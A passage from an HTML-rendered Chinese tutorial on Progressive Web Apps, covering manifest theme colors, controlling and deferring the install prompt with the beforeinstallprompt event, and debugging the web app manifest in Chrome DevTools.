punctuation\">&quot;</span>theme-color<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>#1976d2<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#xFF0C;&#x5373;&#x4F7F;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x6A21;&#x5F0F;&#x4E0B;&#xFF0C;&#x6D4F;&#x89C8;&#x5668; UI &#x5143;&#x7D20;&#x4E5F;&#x5C06;&#x4F1A;&#x53D8;&#x6210;&#x84DD;&#x8272;&#x7684;&#x4E86;&#x3002;</p>\n<p><img src=\"img/theme-color-meta.jpg\" alt=\"theme-color meta &#x914D;&#x7F6E;\"></p>\n<p>Web &#x5E94;&#x7528;&#x6E05;&#x5355;&#x6240;&#x5B9A;&#x4E49;&#x7684;&#x5404;&#x79CD;&#x989C;&#x8272;&#x5C5E;&#x6027;&#x76EE;&#x524D;&#x4EC5;&#x652F;&#x6301; RGB &#x989C;&#x8272;&#x5B9A;&#x4E49;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x8BF4; <code>#ffffff</code>&#x3001;<code>#fff</code>&#x3001;<code>rgb(255, 255, 255)</code> &#x8FD9;&#x7C7B;&#x5B9A;&#x4E49;&#x90FD;&#x662F;&#x5408;&#x6CD5;&#x7684;&#xFF0C;&#x4E5F;&#x652F;&#x6301;&#x76F4;&#x63A5;&#x4F7F;&#x7528;&#x5185;&#x7F6E;&#x7684;&#x989C;&#x8272;&#x540D;&#x5B9A;&#x4E49;&#xFF0C;&#x6BD4;&#x5982; <code>red</code>&#x3001;<code>blue</code>&#x3001;<code>yellow</code> &#x7B49;&#x7B49;&#xFF0C;&#x5176;&#x4F59;&#x90FD;&#x4E0D;&#x5408;&#x6CD5;&#x3002;</p>\n<p>&#x5728;&#x8BBE;&#x7F6E; <code>background_color</code> &#x548C; <code>theme_color</code> &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x5E94;&#x8BE5;&#x5C3D;&#x53EF;&#x80FD;&#x5730;&#x9009;&#x62E9;&#x9875;&#x9762;&#x4E3B;&#x9898;&#x8272;&#xFF0C;&#x8FD9;&#x6837;&#x624D;&#x4F1A;&#x4F7F;&#x5F97;&#x9875;&#x9762;&#x4E0E;&#x6D4F;&#x89C8;&#x5668; UI&#x3001;&#x542F;&#x52A8;&#x9875;&#x9762;&#x7B49;&#x5143;&#x7D20;&#x8FC7;&#x6E21;&#x81EA;&#x7136;&#xFF0C;&#x5F7C;&#x6B64;&#x878D;&#x4E3A;&#x4E00;&#x4F53;&#x3002;</p>\n<h2 id=\"&#x63A7;&#x5236;&#x5E94;&#x7528;&#x5B89;&#x88C5;&#x63D0;&#x793A;\"><a name=\"&#x63A7;&#x5236;&#x5E94;&#x7528;&#x5B89;&#x88C5;&#x63D0;&#x793A;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x63A7;&#x5236;&#x5E94;&#x7528;&#x5B89;&#x88C5;&#x63D0;&#x793A;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x63A7;&#x5236;&#x5E94;&#x7528;&#x5B89;&#x88C5;&#x63D0;&#x793A;\" class=\"plugin-anchor\" href=\"#&#x63A7;&#x5236;&#x5E94;&#x7528;&#x5B89;&#x88C5;&#x63D0;&#x793A;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x63A7;&#x5236;&#x5E94;&#x7528;&#x5B89;&#x88C5;&#x63D0;&#x793A;</h2>\n<p>&#x524D;&#x9762;&#x63D0;&#x5230;&#x5F00;&#x53D1;&#x8005;&#x65E0;&#x6CD5;&#x4E3B;&#x52A8;&#x89E6;&#x53D1;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x7684;&#x5F39;&#x51FA;&#xFF0C;&#x4F46;&#x6D4F;&#x89C8;&#x5668;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x4E9B;&#x65B9;&#x6CD5;&#x6765;&#x5BF9;&#x5F39;&#x51FA;&#x6548;&#x679C;&#x8FDB;&#x884C;&#x5FAE;&#x8C03;&#xFF0C;&#x6BD4;&#x5982;&#x63A8;&#x8FDF;&#x63D0;&#x793A;&#x3001;&#x53D6;&#x6D88;&#x63D0;&#x793A;&#x7B49;&#x7B49;&#x3002;</p>\n<p>&#x6D4F;&#x89C8;&#x5668;&#x63D0;&#x4F9B;&#x4E86; <code>beforeinstallprompt</code> &#x4E8B;&#x4EF6;&#x6765;&#x5BF9;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x7684;&#x5F39;&#x51FA;&#x884C;&#x4E3A;&#x8FDB;&#x884C;&#x76D1;&#x542C;&#x548C;&#x64CD;&#x4F5C;&#xFF0C;&#x76D1;&#x542C;&#x8BE5;&#x4E8B;&#x4EF6;&#x7684;&#x8BED;&#x6CD5;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">window<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;beforeinstallprompt&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5B89;&#x88C5;&#x63D0;&#x793A;&#x5373;&#x5C06;&#x5F39;&#x51FA;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"&#x5224;&#x65AD;&#x7528;&#x6237;&#x5B89;&#x88C5;&#x884C;&#x4E3A;\"><a name=\"&#x5224;&#x65AD;&#x7528;&#x6237;&#x5B89;&#x88C5;&#x884C;&#x4E3A;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5224;&#x65AD;&#x7528;&#x6237;&#x5B89;&#x88C5;&#x884C;&#x4E3A;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5224;&#x65AD;&#x7528;&#x6237;&#x5B89;&#x88C5;&#x884C;&#x4E3A;\" class=\"plugin-anchor\" href=\"#&#x5224;&#x65AD;&#x7528;&#x6237;&#x5B89;&#x88C5;&#x884C;&#x4E3A;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5224;&#x65AD;&#x7528;&#x6237;&#x5B89;&#x88C5;&#x884C;&#x4E3A;</h3>\n<p><code>beforeinstallprompt</code> &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x8FD4;&#x56DE;&#x4E86;&#x4E00;&#x4E2A;&#x540D;&#x4E3A; <code>userChoice</code> &#x7684; Promise &#x5BF9;&#x8C61;&#xFF0C;&#x5F53;&#x7528;&#x6237;&#x5BF9;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x8FDB;&#x884C;&#x64CD;&#x4F5C;&#x4E4B;&#x540E;&#xFF0C;userChoice &#x4F1A;&#x8FD4;&#x56DE;&#x7528;&#x6237;&#x7684;&#x9009;&#x62E9;&#x7ED3;&#x679C;&#x5BF9;&#x8C61; <code>choiceResult</code>&#xFF0C;&#x8BE5;&#x5BF9;&#x8C61;&#x5177;&#x6709; <code>outcome</code> &#x5C5E;&#x6027;&#xFF0C;&#x5982;&#x679C;&#x7528;&#x6237;&#x9009;&#x62E9;&#x201C;&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;&#x65F6;&#x201D;&#xFF0C;<code>outcome</code> &#x7684;&#x503C;&#x4E3A; <code>accept</code>&#xFF0C;&#x53CD;&#x4E4B;&#x4E3A; <code>dismissed</code>&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\">window<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;beforeinstallprompt&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  e<span class=\"token punctuation\">.</span>userChoice<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">choiceResult</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>choiceResult<span class=\"token punctuation\">.</span>outcome <span class=\"token operator\">===</span> <span class=\"token string\">&apos;accept&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x7528;&#x6237;&#x5C06;&#x7AD9;&#x70B9;&#x6DFB;&#x52A0;&#x81F3;&#x684C;&#x9762;</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x7528;&#x6237;&#x53D6;&#x6D88;&#x5B89;&#x88C5;</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"&#x53D6;&#x6D88;&#x63D0;&#x793A;\"><a name=\"&#x53D6;&#x6D88;&#x63D0;&#x793A;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x53D6;&#x6D88;&#x63D0;&#x793A;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x53D6;&#x6D88;&#x63D0;&#x793A;\" class=\"plugin-anchor\" href=\"#&#x53D6;&#x6D88;&#x63D0;&#x793A;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x53D6;&#x6D88;&#x63D0;&#x793A;</h3>\n<p>&#x5728;&#x67D0;&#x4E9B;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x6211;&#x4EEC;&#x4E0D;&#x5E0C;&#x671B;&#x5F39;&#x51FA;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#xFF0C;<code>beforeinstallprompt</code> &#x7684;&#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x63D0;&#x4F9B;&#x4E86; <code>preventDefault()</code> &#x65B9;&#x6CD5;&#x6765;&#x8FDB;&#x884C;&#x53D6;&#x6D88;&#x64CD;&#x4F5C;&#x3002;&#x5173;&#x952E;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">window<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;beforeinstallprompt&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x963B;&#x6B62;&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5BF9;&#x8BDD;&#x6846;&#x5F39;&#x51FA;</span>\n  e<span class=\"token punctuation\">.</span><span class=\"token function\">preventDefault</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"&#x63A8;&#x8FDF;&#x63D0;&#x793A;\"><a name=\"&#x63A8;&#x8FDF;&#x63D0;&#x793A;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x63A8;&#x8FDF;&#x63D0;&#x793A;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x63A8;&#x8FDF;&#x63D0;&#x793A;\" class=\"plugin-anchor\" href=\"#&#x63A8;&#x8FDF;&#x63D0;&#x793A;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x63A8;&#x8FDF;&#x63D0;&#x793A;</h3>\n<p>&#x9664;&#x4E86;&#x76F4;&#x63A5;&#x53D6;&#x6D88;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x4E4B;&#x5916;&#xFF0C;&#x6211;&#x4EEC;&#x8FD8;&#x53EF;&#x4EE5;&#x5C06;&#x5F39;&#x51FA;&#x4E8B;&#x4EF6;&#x6536;&#x96C6;&#x8D77;&#x6765;&#xFF0C;&#x7B49;&#x5230;&#x7279;&#x5B9A;&#x7684;&#x65F6;&#x5019;&#x518D;&#x505A;&#x89E6;&#x53D1;&#xFF0C;&#x4ECE;&#x800C;&#x8FBE;&#x5230;&#x63A8;&#x8FDF;&#x63D0;&#x793A;&#x7684;&#x76EE;&#x7684;&#x3002;&#x6BD4;&#x5982;&#x5728;&#x67D0;&#x4E9B;&#x5E94;&#x7528;&#x573A;&#x5408;&#x4E0B;&#xFF0C;&#x76F4;&#x63A5;&#x5F39;&#x51FA;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x4F1A;&#x6253;&#x65AD;&#x7528;&#x6237;&#x64CD;&#x4F5C;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5148;&#x5C06;&#x9ED8;&#x8BA4;&#x7684;&#x63D0;&#x793A;&#x884C;&#x4E3A;&#x53D6;&#x6D88;&#x6389;&#xFF0C;&#x5E76;&#x4E14;&#x628A;&#x8FD9;&#x4E2A;&#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x7528;&#x53D8;&#x91CF;&#x5B58;&#x8D77;&#x6765;&#xFF0C;&#x7136;&#x540E;&#x5728;&#x9875;&#x9762;&#x4E0A;&#x8BBE;&#x8BA1;&#x4E00;&#x79CD;&#x66F4;&#x4E3A;&#x53CB;&#x597D;&#x7684; UI &#x53BB;&#x63D0;&#x9192;&#x7528;&#x6237;&#xFF0C;&#x5F53;&#x7528;&#x6237;&#x4E3B;&#x52A8;&#x70B9;&#x51FB; UI &#x786E;&#x8BA4;&#x4E4B;&#x540E;&#xFF0C;&#x518D;&#x53BB;&#x91CD;&#x65B0;&#x8C03;&#x7528;&#x4E8B;&#x4EF6;&#x7684; <code>prompt</code> &#x89E6;&#x53D1;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x7684;&#x5C55;&#x73B0;&#x3002;</p>\n<p>&#x4E0B;&#x9762;&#x7684;&#x793A;&#x4F8B;&#x5C55;&#x793A;&#x4E86;&#x63A8;&#x8FDF;&#x63D0;&#x793A;&#x7684;&#x4E00;&#x79CD;&#x65B9;&#x6848;&#xFF0C;&#x6211;&#x4EEC;&#x5148;&#x4E0B;&#x8F7D;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x5230;&#x672C;&#x5730;&#xFF0C;&#x5728;&#x547D;&#x4EE4;&#x884C;&#x4E2D;&#x8FD0;&#x884C;&#x5982;&#x4E0B;&#x547D;&#x4EE4;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token comment\"># &#x4ECE; GitHub &#x4E0B;&#x8F7D;&#x4EE3;&#x7801;&#x5230;&#x672C;&#x5730; pwa-book-demo &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">git</span> clone https://github.com/lavas-project/pwa-book-demo.git\n\n<span class=\"token comment\"># &#x8FDB;&#x5165;&#x5230; chapter06 &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">cd</span> chapter06/install-prompt\n\n<span class=\"token comment\"># &#x5B89;&#x88C5; npm &#x4F9D;&#x8D56;</span>\n$ <span class=\"token function\">npm</span> <span class=\"token function\">install</span>\n\n<span class=\"token comment\"># &#x5B89;&#x88C5;&#x6210;&#x529F;&#x540E;&#x542F;&#x52A8; chapter06 &#x793A;&#x4F8B;</span>\n$ <span class=\"token function\">npm</span> run server\n</code></pre>\n<p>&#x5728;&#x770B;&#x5230;&#x547D;&#x4EE4;&#x884C;&#x4E2D;&#x8F93;&#x51FA; <code>Server start on: http://127.0.0.1:8088</code>&#xFF0C;&#x610F;&#x5473;&#x7740;&#x5DF2;&#x7ECF;&#x6210;&#x529F;&#x542F;&#x52A8;&#xFF0C;&#x8FD9;&#x65F6;&#xFF0C;&#x6253;&#x5F00;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x8BBF;&#x95EE; <code>http://127.0.0.1:8088</code> &#x80FD;&#x770B;&#x5230;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x7684;&#x9875;&#x9762;&#x3002;&#x9875;&#x9762;&#x4E0A;&#x653E;&#x7F6E;&#x4E86;&#x4E00;&#x4E2A;&#x6309;&#x94AE;&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A;&#x7070;&#x8272;&#x72B6;&#x6001;&#xFF0C;&#x5F53;&#x6355;&#x83B7;&#x5230;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x4E8B;&#x4EF6;&#x4E4B;&#x540E;&#xFF0C;&#x53D6;&#x6D88;&#x9ED8;&#x8BA4;&#x7684;&#x5F39;&#x51FA;&#x884C;&#x4E3A;&#x5E76;&#x4E14;&#x628A;&#x4E8B;&#x4EF6;&#x5B58;&#x4E0B;&#x6765;&#xFF0C;&#x540C;&#x65F6;&#x9875;&#x9762;&#x4E0A;&#x628A;&#x6309;&#x94AE;&#x989C;&#x8272;&#x663E;&#x793A;&#x51FA;&#x6765;&#xFF0C;&#x70B9;&#x51FB;&#x6309;&#x94AE;&#x4E4B;&#x540E;&#xFF0C;&#x518D;&#x5F39;&#x51FA;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#xFF0C;&#x540C;&#x65F6;&#x7F6E;&#x7070;&#x6309;&#x94AE;&#x3002;</p>\n<p><img src=\"img/install-prompt-example.jpg\" alt=\"&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x793A;&#x4F8B;\"></p>\n<p>&#x5728;&#x793A;&#x4F8B; <code>public/index.html</code> &#x4E2D;&#x53EF;&#x4EE5;&#x67E5;&#x770B;&#x76F8;&#x5173;&#x4EE3;&#x7801;&#xFF0C;&#x8FD9;&#x6BB5;&#x4EE3;&#x7801;&#x7684;&#x5173;&#x952E;&#x70B9;&#x5728;&#x4E8E;&#xFF0C;&#x9996;&#x5148;&#x662F;&#x8C03;&#x7528; <code>e.preventDefault()</code> &#x963B;&#x6B62;&#x9ED8;&#x8BA4;&#x7684;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x5C55;&#x73B0;&#xFF0C;&#x5176;&#x6B21;&#x8BBE;&#x7F6E;&#x4E86; <code>savedPrompt</code> &#x53D8;&#x91CF;&#x7528;&#x6765;&#x5B58;&#x653E;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x7684;&#x4E8B;&#x4EF6;&#x5BF9;&#x8C61;&#xFF0C;&#x6700;&#x540E;&#x5728;&#x9002;&#x5F53;&#x7684;&#x65F6;&#x5019;&#x8C03;&#x7528; <code>savedPrompt.prompt()</code> &#x65B9;&#x6CD5;&#x91CD;&#x65B0;&#x89E6;&#x53D1;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x7684;&#x7684;&#x5C55;&#x73B0;&#xFF0C;&#x4ECE;&#x800C;&#x6574;&#x4F53;&#x5B9E;&#x73B0;&#x63A8;&#x8FDF;&#x63D0;&#x793A;&#x7684;&#x6548;&#x679C;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token comment\">// &#x83B7;&#x53D6;&#x6309;&#x94AE;&#x5143;&#x7D20;</span>\n<span class=\"token keyword\">let</span> button <span class=\"token operator\">=</span> document<span class=\"token punctuation\">.</span><span class=\"token function\">getElementById</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;btn&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x4FDD;&#x5B58;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x4E8B;&#x4EF6;</span>\n<span class=\"token keyword\">let</span> savedPrompt\nwindow<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;beforeinstallprompt&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x963B;&#x6B62;&#x9ED8;&#x8BA4;&#x63D0;&#x793A;&#x5F39;&#x51FA;</span>\n  e<span class=\"token punctuation\">.</span><span class=\"token function\">preventDefault</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x628A;&#x4E8B;&#x4EF6;&#x5B58;&#x8D77;&#x6765;</span>\n  savedPrompt <span class=\"token operator\">=</span> e\n  <span class=\"token comment\">// &#x663E;&#x793A;&#x6309;&#x94AE;</span>\n  button<span class=\"token punctuation\">.</span>classList<span class=\"token punctuation\">.</span><span class=\"token function\">remove</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;disabled&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\nbutton<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;click&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x9690;&#x85CF;&#x6309;&#x94AE;</span>\n  button<span class=\"token punctuation\">.</span>classList<span class=\"token punctuation\">.</span><span class=\"token function\">add</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;disabled&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x89E6;&#x53D1;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x5C55;&#x73B0;</span>\n  savedPrompt<span class=\"token punctuation\">.</span><span class=\"token function\">prompt</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x7528;&#x6237;&#x884C;&#x4E3A;&#x5224;&#x65AD;</span>\n  savedPrompt<span class=\"token punctuation\">.</span>userChoice<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">result</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x7528;&#x6237;&#x64CD;&#x4F5C;&#x4E4B;&#x540E;&#x6E05;&#x7A7A;&#x4E8B;&#x4EF6;</span>\n    savedPrompt <span class=\"token operator\">=</span> <span class=\"token keyword\">null</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>result<span class=\"token punctuation\">.</span>outcome <span class=\"token operator\">===</span> <span class=\"token string\">&apos;accept&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x7528;&#x6237;&#x5C06;&#x7AD9;&#x70B9;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x7528;&#x6237;&#x53D6;&#x6D88;&#x64CD;&#x4F5C;</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"&#x8C03;&#x8BD5;-web-&#x5E94;&#x7528;&#x6E05;&#x5355;\"><a name=\"&#x8C03;&#x8BD5;-web-&#x5E94;&#x7528;&#x6E05;&#x5355;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8C03;&#x8BD5;-web-&#x5E94;&#x7528;&#x6E05;&#x5355;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8C03;&#x8BD5;-web-&#x5E94;&#x7528;&#x6E05;&#x5355;\" class=\"plugin-anchor\" href=\"#&#x8C03;&#x8BD5;-web-&#x5E94;&#x7528;&#x6E05;&#x5355;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8C03;&#x8BD5; Web &#x5E94;&#x7528;&#x6E05;&#x5355;</h2>\n<p>&#x8C03;&#x8BD5; Web &#x5E94;&#x7528;&#x6E05;&#x5355;&#x7684;&#x65B9;&#x5F0F;&#x975E;&#x5E38;&#x7B80;&#x5355;&#xFF0C;Chrome &#x5F00;&#x53D1;&#x8005;&#x5DE5;&#x5177;&#x76EE;&#x524D;&#x5DF2;&#x7ECF;&#x63D0;&#x4F9B;&#x4E86;&#x76F8;&#x5173;&#x8C03;&#x8BD5;&#x529F;&#x80FD;&#x3002;</p>\n<p>&#x7528; Chrome &#x6253;&#x5F00;&#x5F85;&#x8C03;&#x8BD5;&#x7684;&#x7F51;&#x9875;&#xFF0C;&#x540C;&#x65F6;&#x6253;&#x5F00;&#x5F00;&#x53D1;&#x8005;&#x5DE5;&#x5177;&#xFF0C;&#x5207;&#x6362;&#x5230; <code>Application</code> &#x9762;&#x677F;&#xFF0C;&#x7136;&#x540E;&#x70B9;&#x51FB; <code>Manifest</code> &#x6807;&#x7B7E;&#xFF0C;&#x5982;&#x56FE;&#x6240;&#x793A;&#xFF0C;&#x5982;&#x679C; manifest.json &#x6587;&#x4EF6;&#x88AB;&#x7F51;&#x9875;&#x6210;&#x529F;&#x5F15;&#x5165;&#x7684;&#x8BDD;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x5DE5;&#x5177;&#x9762;&#x677F;&#x5C06;&#x4F1A;&#x663E;&#x793A;&#x76F8;&#x5173;&#x5C5E;&#x6027;&#x4FE1;&#x606F;&#xFF0C;&#x5982;&#x679C;&#x6709;&#x4E2A;&#x522B;&#x914D;&#x7F6E;&#x9879;&#x914D;&#x7F6E;&#x9519;&#x8BEF;&#xFF0C;&#x5BF9;&#x5E94;&#x7684;&#x5C5E;&#x6027;&#x4FE1;&#x606F;&#x5C06;&#x4E0D;&#x4F1A;&#x663E;&#x793A;&#x51FA;&#x6765;&#x3002;</p>\n<p>&#x540C;&#x65F6;&#x53EF;&#x4EE5;&#x5728;&#x5F00;&#x53D1;&#x8005;&#x5DE5;&#x5177;&#x9762;&#x677F;&#x53F3;&#x4E0A;&#x89D2;&#x4E2D;&#x627E;&#x5230; <code>Add to homescreen</code> &#x7684;&#x94FE;&#x63A5;&#xFF0C;&#x70B9;&#x51FB;&#x4E4B;&#x540E;&#x5C06;&#x4F1A;&#x5F39;&#x51FA;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#x7684;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x3002;&#x5982;&#x679C;&#x914D;&#x7F6E;&#x5B58;&#x5728;&#x9519;&#x8BEF;&#x7684;&#x8BDD;&#xFF0C;&#x5C06;&#x4F1A;&#x5728;&#x63A7;&#x5236;&#x53F0;&#x9762;&#x677F;&#x63D0;&#x793A;&#x76F8;&#x5173;&#x9519;&#x8BEF;&#x4FE1;&#x606F;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x6839;&#x636E;&#x9519;&#x8BEF;&#x63D0;&#x793A;&#x5BF9; manifest.json &#x8FDB;&#x884C;&#x4FEE;&#x6539;&#xFF0C;&#x5E76;&#x5B8C;&#x5584;&#x5176;&#x4ED6;&#x6761;&#x4EF6;&#x3002;</p>\n<p><img src=\"img/manifest-dev.jpg\" alt=\"Chrome Dev Tools &#x8C03;&#x8BD5; manifest\"></p>\n<p>&#x5982;&#x679C;&#x6CA1;&#x6709;&#x627E;&#x5230; <code>Add to homescreen</code> &#x7684;&#x94FE;&#x63A5;&#xFF0C;&#x5728; manifest.json &#x914D;&#x7F6E;&#x6B63;&#x786E;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x70B9;&#x51FB; Chrome &#x53F3;&#x4E0A;&#x89D2;&#x8FDB;&#x884C;&#x5B89;&#x88C5;&#xFF08;&#x4F4E;&#x7248;&#x672C; Chrome &#x53EF;&#x80FD;&#x9700;&#x8981;&#x5C06; chrome://flags &#x4E2D;&#x7684; Desktop PWAs &#x9879;&#x8BBE;&#x7F6E;&#x4E3A; Enabled&#xFF09;&#x3002;</p>\n<p><img src=\"img/install-app.jpg\" alt=\"Chrome &#x5B89;&#x88C5;&#x5E94;&#x7528;\"></p>\n<p>&#x5982;&#x679C;&#x60F3;&#x8981;&#x5728;&#x624B;&#x673A;&#x4E0A;&#x67E5;&#x770B;&#x6548;&#x679C;&#xFF0C;&#x9700;&#x8981;&#x5728;&#x7CFB;&#x7EDF;&#x4E2D;&#x5148;&#x67E5;&#x770B;&#x6D4F;&#x89C8;&#x5668;&#x662F;&#x5426;&#x5F00;&#x542F;&#x4E86;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#x6743;&#x9650;&#xFF0C;&#x7136;&#x540E;&#x901A;&#x8FC7; Fidder &#x6216;&#x8005; Charles &#x7B49;&#x5DE5;&#x5177;&#x8BBE;&#x7F6E;&#x4EE3;&#x7406;&#xFF0C;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x6253;&#x5F00;&#x672C;&#x5730;&#x7AD9;&#x70B9;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x8C03;&#x8BD5;&#x7F51;&#x7AD9;&#x5E94;&#x7528;&#x6DFB;&#x52A0;&#x6548;&#x679C;&#x4E86;&#x3002;</p>\n<p><img 